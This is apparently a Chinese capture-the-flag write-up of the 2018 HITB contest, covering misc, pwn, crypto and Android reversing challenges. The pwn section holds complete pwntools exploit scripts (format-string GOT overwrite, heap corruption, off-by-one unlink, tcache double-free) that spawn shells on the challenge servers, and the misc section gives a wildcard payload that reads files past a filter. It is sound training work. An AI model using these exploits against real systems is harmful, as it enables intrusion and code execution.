FIRST
距离“西湖论剑杯”全国大学生网络空间安全技能大赛只有9天啦!
要拿大奖、赢offer,那必须得来点赛前练习定定心啊~这不,讲武堂就拿到了2018HITB国际赛的一手write up!web、misc、pwn、crypto、mobile都有!快来尝鲜!
——特别感谢本文作者:BXS——
本文作者曾多次参与“安恒杯”月赛,成绩亮眼~
在本次HIBT国际赛中,他所在的队伍也取得了rank16、大陆前5的好成绩~Congratulations!
ATTENTION:web题目请查看昨天的推文~
PART2.MISC
1.tpyx
原题链接
http://iromise.com/2016/11/30/%E7%AC%AC%E4%BA%8C%E5%B1%8A%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B-%E5%A4%A7%E5%8F%AF%E7%88%B1/
先binwalk一下
然后提取出来
然后再对这2个文件进行binwalk
提取出29的
发现其中文件
将右边复制到新文件
发现是7z文件
压缩密码即最后的base64
打开文件获得flag
HITB{0c88d56694c2fb3bcc416e122c1072eb}
2.Pix
将下载的图片lsb
得到文件
File一下查看文件类型
发现是keepass文件
根据题目描述
进行字典生成
# coding=UTF-8 string = '0123456789' f = open("dict.txt","wb") for x1 in string: for x2 in string: for x3 in string: for x4 in string: for x5 in string: for x6 in string: passwd = "hitb"+x1+x2+x3+x4+x5+x6+"\n" f.write(passwd) f.close()
得到字典后,利用john进行爆破
得到密码
hitb180408
利用
打开文件,发现flag
3.Readfile
Echo $input| grep -o "[[:punct:]]*"
按照题目说的就是强行绕bash,简单探测了一下,发现只能用特殊符号,
于是先测试了* ,发现可以列目录,然后测试了./* 和../*,最后发现了有点奇怪,和我本地的ubuntu的不太一样,后来就只用远程测试了。
“*”=>>> 列当前目录
“../*”=>>>>>上跳
“`*`”=>>>>>发现反引号没有过滤,于是想到可以用正则匹配出命令
“`/???/???`”=>>>>>>探测发现这样是可以默认匹配到/bin/cat的,刚好满足了我们读文件的需要
“`/???/??? /????/????_??_????/*`”=>>>>>>这样匹配出来的文件没有几个,直接执行就得到了flag
所以最后的paylod : `/???/??? /????/????_??_????/*`
截图:
PART3.Pwn
1.babypwn
先是连上去后发现经典的有格式化字符串漏洞的回显,用%p测试知这是一个64位程序,于是也利用%p先dump下栈,脚本:
得到结果
其中偏移48/8=8处的0x504d542e70243625为我们输入的内容,则利用的格式化字符串中偏移为8-1,写出脚本dump出代码段:
Dump出的内容用IDA打开,可找到主函数:
其中判断出printf的位置,找它的PLT表内容:
则GOT表地址为0x601020,再次利用格式化字符串leak出0x601020中的内容就是printf函数的地址,这里有一个小坑就是0x601020内容为‘\x00’,因此直接%s得不到结果,得从0x601021开始:
得到printf的真实地址:
根据低12位的0x800在libc-database中找libc:
最后根据得到的system和printf的libc偏移,利用‘%n’改printf的GOT为system地址就好,这里只需要改低三字节,先改一个字节后改两个字节,最终脚本:
得到flag:
2.once
根据动态调试可知addr段中初始值为&data,先通过edit函数将往data开始的bss中写入p64(1)+p64(0x20fe1)+p64(main_arena-0x10)*2,前两项是为了后面重写main_arena做size大小准备
int edit()
{
if ( is_edit == 1 )
return -1;
read_buf(addr, 0x20LL);
is_edit = 1;
return puts("success.");
}
写完后再利用add和exchange函数将main_arena指向data,此后再进行分配堆块就是从data开始分配了
_int64 add()
{
_QWORD *v0; // rax
_QWORD *v1; // ST10_8
v0 = malloc(0x20uLL);
v0[2] = 0LL;
v0[3] = 0LL;
v1 = addr;
addr = v0;
v0[2] = &data;
v0[3] = v1;
v1[2] = v0;
puts("suceess.");
return 0LL;
}
int exchange()
{
if ( dword_562993DB6060 == 1 )
return -1;
addr = (void *)*((_QWORD *)addr + 3);
*((_QWORD *)addr + 2) = &data;
dword_562993DB6060 = 1;
return puts("success.");
}
此时进入game函数分配一个合适大小的堆块,然后在堆块中写入数据,写入的数据既可以将addr的值覆盖为free_hook的值,将ptr覆盖为binsh_addr,又可以将is_edit域的值重写为0
做完这一切,再一次调用edit函数,将free_hook改写为system
最后执行game函数中的free,便可以get shell了
脚本如下:
from pwn import *
LOCAL = 0
if LOCAL:
libc = ELF("/home/moonagirl/moonagirl/libc/libc_local_x64")
#libc = ELF('./libc-2.23.so')
p = process('./once')#,env={"LD_PRELOAD":"./libc-2.23.so"})
context.log_level='debug'
else:
libc = ELF('./libc-2.23.so')
p = remote('47.75.189.102', 9999)
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
def gift():
p.send('0\n')
p.recvuntil('Invalid choice\n')
base = int(p.recv(14),16) - libc.symbols['puts']
return base
def Add():
p.send('1\n')
p.recvuntil('suceess')
def Edit(content):
p.send('2\n')
sleep(0.5)
p.send(content)
p.recvuntil('success')
def Exchange():
p.send('3\n')
p.recvuntil('success')
def Game():
p.send('4\n')
sleep(0.5)
def Game_read(content):
p.send('2\n')
sleep(0.5)
p.send(content)
p.recvuntil('>')
def Game_Add(sz):
p.send('1\n')
p.recvuntil('input size:')
p.send(str(sz)+'\n')
p.recvuntil('>')
def Game_end():
p.send('4\n')
p.recvuntil('>')
def pwnit():
#calc libc
base = gift()
main_arena = 0x3C4B78 + base
bss_start = base + 0x3C5620
stdin_addr = base + 0x3C48E0
free_hook_addr = base + libc.symbols['__free_hook']
binsh_addr = base + libc.search('/bin/sh').next()
Edit(p64(1)+p64(0x20fe1)+p64(main_arena-0x10)*2)
Add()
#z()
Exchange()
Game()
Game_Add(400)
payload = p64(free_hook_addr)*2+p64(bss_start)+p64(0)+p64(stdin_addr)+p64(0)*2
payload += p64(binsh_addr)+p32(0)+p32(0x100)+p64(0)
Game_read(payload)
Game_end()
Edit(p64(base+libc.symbols['system']))
p.send('4\n')
sleep(0.5)
p.send('3\n')
p.interactive()
if __name__ == "__main__":
pwnit()
3.d
最后才看到flag知道那个是base64..(我好菜)
因为edit函数中写入的size是根据strlen来的,所以可以造成off-by-one
申请两个堆块,在第一个堆块中伪造一个fake_chunk并利用off-by-one改写第二个堆块的size域,再free掉第二个chunk,触发double_free
再将free_hook改写为printf,以后就相当于调用print了,于是这题就变为格式化字符串漏洞来做了
先泄露libc地址,再利用格式化将exit@got改写为one_gadget,最后调用exit就可以get shell了。
不知为啥开始的时候直接将free_hook覆盖为one_gadget不行
脚本如下:
from pwn import *
debug=0
context.log_level='debug'
e=ELF("/home/moonagirl/moonagirl/libc/libc_local_x64")
if debug:
p=process('d')#,env={'LD_PRELOAD':'./libc-2.23.so'})
#gdb.attach(p)
else:
p=remote('47.75.154.113', 9999)
def ru(x):
return p.recvuntil(x)
def se(x):
p.sendline(x)
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
def new(idx,content):
se('1')
ru('Which? :')
se(str(idx))
ru('msg:')
se(content)
ru('Which? :')
def edit(idx,content):
se('2')
ru('Which? :')
se(str(idx))
ru('new msg:')
p.send(content)
ru('Which? :')
def wipe(idx):
se('3')
ru('Which? :')
se(str(idx))
return ru('Which? :')
def write_b(idx,c):
new(10,'a'*0x60)
edit(10,'%'+str(st+idx)+'c%6$hhn\n')
wipe(10)
new(10,'a'*0x60)
if c!=0:
edit(10,'%'+str(c)+'c%8$hhn\n')
else:
edit(10,'%8$hhn\n')
wipe(10)
def write_one(addr,value,length=3):
for i in range(length):
write_b(length-1-i,ord(p64(addr)[length-1-i]))
new(10,'a'*0x60)
if value!=0:
edit(10,'%'+str(value)+'c%12$hhn\n')
else:
edit(10,'%12$hhn\n')
wipe(10)
def write(addr,value,length=3):
tmp=p64(value)
for i in range(6):
write_one(addr+i,ord(tmp[i]),length)
def pwnit():
new(0,'a'*0x60)
new(1,'b'*0x60)
new(2,'c'*0x60)
new(3,'a'*0x300)
wipe(3)
new(3,'\xff'*0x120)#size = 0xd9(0xe0)
new(4,'a'*0x190)#size = 0x12d(0x130)
edit(4,p64(0x21)*0x24+'\n')
fake_chunk=p64(0)+p64(0xe1)+p64(0x602198-0x18)+p64(0x602198-0x10)
fake_chunk=fake_chunk.ljust(0xe0,'a')
fake_chunk+=p64(0xe0)
edit(3,fake_chunk+'\n')
wipe(4)#unlink ptr[3] = &ptr[0]
edit(3,p32(0x602018)[:3]+'\n')#ptr[0] -> free@got
edit(0,p64(0x4007a0)[:6])#free@got -> printf@plt
#z()
edit(3,'\x00'*3)
#z()
wipe(0)
new(0,'a'*0x20)
edit(3,p32(0x602020)[:3]+'\n')#puts@got
puts = u64(wipe(0)[:6]+'\x00\x00')
edit(3,'\x00'*3)
wipe(0)
base = puts - e.symbols['puts']
success('base:'+hex(base))
gadget = [0x45216,0x4526a,0xf0274,0xf1117]
one_gadget = base + gadget[1]
new(10,'a'*0x200)
edit(10,'%8$lx\n')
stack=int(wipe(10)[:12],16)
st=ord(p64(stack)[0])
write(0x602070,one_gadget,3)
for i in range(6):
write_b(5-i,ord(p64(stack+0x18)[5-i]))
new(10,'a'*0x60)
edit(10,'%12$n\n')
wipe(10)
for i in range(6):
write_b(5-i,ord(p64(stack+0x18+4)[5-i]))
new(10,'a'*0x60)
edit(10,'%12$n\n')
wipe(10)
new(10,'a'*0x200)
edit(10,'%lx-'*0x20+'\n')
wipe(10)
print(hex(stack))
se('4')
p.sendline('cat flag')
p.interactive()
4.gundam
之前不了解tcache,看了几篇大佬的博客,觉得这机制让堆利用更方便了。
先申请一个gundam1,再调用destory函数释放A 0x300这块堆,它进入对应的tcache_bin,由于destory函数没有清空指针。所以再调用destory函数释放这块A 0x300的堆,造成double-free.tcache里就形成循环链了。之后类似fastbin-attack的机制。先申请一个gundam2,分配给它的0x300堆块便是tcache里的那块A,假设我们将它的fd指针设置为free_hook地址。此时我们再申请一个gundam2,申请的0x300还那块A,不过由于此时A的fd指针刚被我们修改为free_hook,所以free_hook将是下一块tcache了,利用这个思路,我们可以完成返回任意地址攻击。这个机制比以往的fastbin-attack更危险,因为它不会验证当前申请tcache的size.(此外,上述我们应该多在tcache里设置几块堆,因为tcache会记录当前tcache块数量)
基本原理清楚了,这个题就简单了。
先泄露libc地址,再改写free_hook.最终完成get shell.
脚本如下:
#HITB{now_you_know_about_tcache}
from pwn import *
debug=1
context.log_level='debug'
e=ELF('./libc.so.6')
if debug:
p=process('gundam',env={'LD_PRELOAD':'./libc.so.6'})
#gdb.attach(p)
else:
p=remote('47.75.37.114', 9999)
def build(name,tp):
p.send('1\n')
p.recvuntil('The name of gundam :')
p.send(name)
p.recvuntil('The type of the gundam :')
p.send(str(tp)+'\n')
p.recvuntil('choice : ')
def visit():
p.send('2\n')
data=p.recvuntil('1 . ')
p.recvuntil('choice : ')
return data
def destory(idx,wait=True):
p.send('3\n')
p.recvuntil('Which gundam do you want to Destory:')
p.send(str(idx)+'\n')
if wait:
p.recvuntil('choice : ')
def blow_up():
p.send('4\n')
p.recvuntil('choice : ')
def pwnit():
for i in range(9):
build('a',1)
for i in range(8):
destory(i)#free 8 * 0x100 chunk
blow_up()#free 9 * 0x28
build('a',1)# 0x28-fastbin 0x300-tcache #0
for i in range(3):
build('a',1) #3*28 - tcache 3*0x300-tcache #1 2 3
data=visit()
t1=data.index("[0] :")+5
heap=u64(data[t1:t1+6]+'\x00\x00')-0x861
heap_libc=heap+0xb50
destory(0) #0x300 tcache
destory(0) #double free #0x300 tcache
build(p64(heap_libc),1) #4
build('a',1) #5
build('a',1) #6 point to heap_libc
data=visit()
t2=data.index("[6] :")+5
libc=u64(data[t2:t2+6]+'\x00\x00')
base=libc-0x3DAC61
free_hook=base+e.symbols['__free_hook']
system=base+e.symbols['system']
destory(2)
blow_up()
destory(1)
destory(1)
build(p64(free_hook),1)
build('/bin/sh',1)
build(p64(system),1)
destory(0,False)
p.interactive()
if __name__ == "__main__":
pwnit()
PART4.CRYPTO
BASE
链接上去测试一波,结合题目和结果,发现就是两层base64编码。因为不知道具体的base64编码表,一开始菜了很久,最后采取爆破的解法。
想法很简单,只要保证base64编码后的开头部分和flag编码后开头部分一致就行了,但是只用1位爆破是不行的,因为bas64是一个3*8=4*6的规则,后面第二位的字符将影响第一位的字符输出,导致最后的部分会发生变化,所以这里使用2位来爆破。
两位字符,范围均在0x20到0x7f内,每次输出的结果进行2次base64编码,然后使用最长前缀匹配和要求的编码进行比较,选择前缀最长的一项则意味着有极大可能性确定了第一位,第二位仍然是不确定的。依次往复,就可以得到flag了。
这里贴上我的代码,使用pwn库方便读写,由于是I/O密集型任务,使用3线程加快爆破速度,最后实现一轮大概30秒左右。但是我还是菜,写到最后还是个半自动脚本,每轮都要根据结果手动改变量。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import os
import threading
import time
from pwn import *
#context.log_level = 'debug'
decode="2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU="
def find_lcsubstr(s1, s2):
i=0
while i<len(s1) and i<len(s2):
if s1[i]==s2[i]:
i+=1
else:
break
return i
def baopo(start, end):
p = remote('47.91.210.116',9999)
# 需要每轮手动控制flag变量-_-
flag=""
maxnum = 0
index1 = index2 =0
for a in xrange(0x21,0x7f):
for b in xrange(start,end):
temp=flag + chr(a)+chr(b)
p.readuntil("Input: ")
p.sendline(temp)
p.readuntil("=> \"")
recv = p.readline()[:-2]
if find_lcsubstr(recv,decode)>maxnum:
maxnum=find_lcsubstr(recv,decode)
index1=chr(a)
index2=chr(b)
print threading.current_thread().name+" length:"+str(maxnum)+" "+str(index1)+str(index2)
#HITB{5869616f6d6f40466c61707079506967}
if __name__ == '__main__':
t1 = threading.Thread(target=baopo, name='Thread1',args=(0x21,0x40,))
t1.start()
t2 = threading.Thread(target=baopo, name='Thread2',args=(0x40,0x60,))
t2.start()
t3 = threading.Thread(target=baopo, name='Thread3',args=(0x60,0x80,))
t3.start()
截个图,这个图的意思就是第一个线程得到最长匹配是58,给出的极大可能解是7$,只能确定第一位是7,第二位是不确定的,每轮确定一轮。也就是说这一轮确定值是7,可以继续求下一位。
32轮之后就得到flag了。然后远程链接一下看结果。
Flag:HITB{5869616f6d6f40466c61707079506967}
PART5.MOBILE
1.Multicheck
一运行发现报错,loadlibrary异常,因为没系统学过安卓,为什么错误并不知道(手动滑稽),但是这不影响我们直接静态分析。首先进入java层,没什么复杂的东西,自定义了一个check类,监听点击事件后调用check,进到该类中发现,这里很明显地输出了个假flag。然后再看刚刚那个加载异常的check.so库。猜想由于定义了假check函数,所以手动产生了异常导致访问不到该文件,所以真的check应该在so文件内。
使用ida分析这个so文件,发现在紧靠JNIload函数上面的sub_1380这个函数很可疑。
可以看到,这个函数在写文件,而且还是个dex文件,因为dex是apk的执行文件,相当于win下的exe文件,这就引起了我的关注。而且我们还看到,table变量是一个有着1856大小的大数组,这里原本的数据的很奇怪的,所以它这里使用了一个简单的异或代码来解密数据,这种方式是自解密代码SMC中很常见,一般是自保护壳的实现方式。因为这个so运行不了,无法调试,所以这里我直接使用idc脚本的方式来解密这段代码。
代码实现很简单,就是仿照这个函数,将ida数据库中的数据进行动态解密来模拟这个过程。这样我们就得到了这个dex文件。
在ida的hex view视图中看到,很明显解密是正确的。然后我将这段数据拿出来用jeb来反编译。得到java层源码,源码中定义了一个32大小的常量数组,主方法的逻辑则是将输入的经过这几个算法得到的数组变量和常量数组进行比较,相同则返回true。所以目的很简单,逆向算法。
算法是从f1开始的,就是将输入字符串转成数组然后输入,这个算法一开始看会觉得很奇怪,感觉是故意写成这样的,很绕。先求长度,然后生成新的数组,又将数组复制到新的数组中,然后调用f2,最后将数组返回。这里的关键必须分析出来,如果输入长度是8的倍数,那么输出的长度就会比输入长8,而不是8的倍数就不增长,(和原长度不同,(x/8)向上取整再乘8)。那么根据常量数组长度是32,可以推出flag长度应该是[24:32 )。
第二个函数是核心的算法步骤,这里贴的代码是我已经优化过的了。就是三部分的异或,不停地修改3个变量然后输出,逆向这个函数解题的步骤。仔细分析不难发现,两个输出的变量是有先后顺序的,那么我逆向的时候只要都倒过来就行了,想到这点就行了。
第三个函数,这里的方法很明显就是将4个byte变量整合为一个int变量。
第四个方法就是刚刚那个方法的逆过程,将int变量拆成4个byte变量。纵观整个逻辑,这个算法的逻辑大致就是将输入转换成byte数组,然后将其分组,4个byte一组组合成int,然后调用核心的f2函数求值,再将int类型的结果转成4个byte,最后再合起来成为一个大的byte数组。
要是明白了整个函数的流程,解法就很多了,我逆向的第一步就是将32个常量byte整合为int变量,这里需要注意了,java里默认都是带符号的byte,如果转换的时候要小心。然后就调用f2的逆向算法,求出输入的int变量
大致的算法如上图所示,一次求出2组。这里一开始我也犯了错误,忽视了带符号的值,导致flag只出来了一半。做到这里之后就是明文字符串的int表示,因为原算法就是用的移位操作,明文低位在int高位,明文高位在int低位。最后将其每个再转成对应的ascii然后就是flag了。这里我求出来result[0]的值是0x4000000,很明显不是明文,这和f1函数的分析不谋而合,说明了明文的长度比32少4,即明文长度是28.
Flag:HITB{SEe!N9_IsN'T_bELIEV1Ng}
2.kivy simple
一开始运行了一下,以为是个C#写的游戏程序,然后用jeb分析了下java层,发现并不是。百度kivy之后发现是python写的apk,惊了,这年头什么都能写apk了。但是不了解架构,不知道主要的逻辑代码在哪里,分析了半天硬是找不到入口。
我还发现了这个apk带了好多so库,也依次都用ida分析了一遍,基本没找到什么有价值的信息,基本都是python的库函数和加载信息。最后,在努力无果几小时后,我终于使用谷歌搜索到https://groups.google.com/forum/m/#!topic/kivy-users/nB64SVLKeX4这篇帖子,发现了kivy的秘密:
如上文这位大兄弟所说,这个apk内很奇怪的带了个mp3文件,而且打不开,听了他的建议,我果断将其修改成zip压缩包,然后发现的确是被压缩了,打开文件可以获取main.pyo文件,还有很多lib库,肯定是和主要的代码没什么关系的。用010editor打开就能发现这个文件头和pyc的文件头一模一样,然后我将其修改为pyc后,反编译pyc得到main.py。
可以看到,这就是kivy代码的主要逻辑,这和我在网上初学习的kivy框架不谋而合。仔细分析这段代码,可以看到这里明显的定义了一个假flag。然后有一个auth是输出正确或错误的,其值根据check函数的返回值来确定。但是check很明显是输出一个假flag,这里其实我是有疑惑的,再往下看,可以看到一段base64编码,这里他将其解码后解压缩然后执行。由于不清楚kivy的实现机制,这个方法能成功的原因应该是base64定义的代码优先执行,这样上面那个假check就不会执行。
现在我们将base64编码进行解码,然后写到一个新文件中看看是什么代码。
到这里,我一看就知道了,因为之前做过pyinstall打包的exe的逆向,所以这个文件头很明显就是被删改一部分是pyc文件,我直接对照正常的pyc然后填补几个字节就行了。
上图就是正常的pyc文件头,将这几个字节填补上去,然后再反编译pyc就又得到一个py文件
看到这个文件,心里就踏实了,这就是真正的check函数,而且这个py写的相当简单。就是一个简单的对比,我们直接将这些条件判断去掉,然后直接执行就能得到flag了。
这题实际是不难,主要就是对kivy这个架构不清楚,网上也没有逆向分析这种apk的资料,只要知道自带的private.mp3是隐藏了python代码的关键,这道题就很简单了。
Flag:HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}
纪念一下BXS在世界赛打到这样靠前的位置,可能老赛棍都去强网杯线下了吧XD
预祝所有“西湖论剑杯”的参赛选手取得好成绩!
——BXS